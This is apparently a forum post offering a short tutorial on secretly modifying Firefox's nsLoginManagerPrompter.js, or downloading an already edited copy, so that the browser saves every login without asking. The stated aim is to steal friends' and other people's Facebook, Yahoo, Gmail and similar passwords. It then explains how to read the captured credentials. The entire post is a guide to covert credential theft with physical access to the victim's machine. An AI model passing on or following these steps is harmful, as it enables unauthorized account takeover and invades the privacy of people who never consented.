Hello all!
Everyone wants to hack his friends and other people facebook,orkut,yahoo,msn or gmail accounts.Now i am giving you a small trick and after applying this trick Firefox will store all the passwords without promting the person who is typing his/her password to login. So in this way you will get victim password and username. But physical access is important for this hack.

Follow this Guide to Convert Firefox Into Stealer and Hack Passwords:

1. Close Firefox

2) Navigate to:

Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components

3) We are going to edit a file called nsLoginManagerPrompter.js, it is recommended you create a copy of it by pasting original file somewhere so you can replace the original file when you want to turn off this feature.

I recommend you download the following file and simply overwrite the existing nsLoginManagerPrompter.js with it,this file is already edited and works well

Download Edited nsLoginManagerPrompter.js
(skip the add from the upper right corner)

From now on, when someone logs onto any site, they username and password will be saved automatically, without prompt!

To retrieve the account information, make sure Firefox is opened, go to Tools > Options > Security Tab > click on saved passwords, then click on show passwords, and press yes!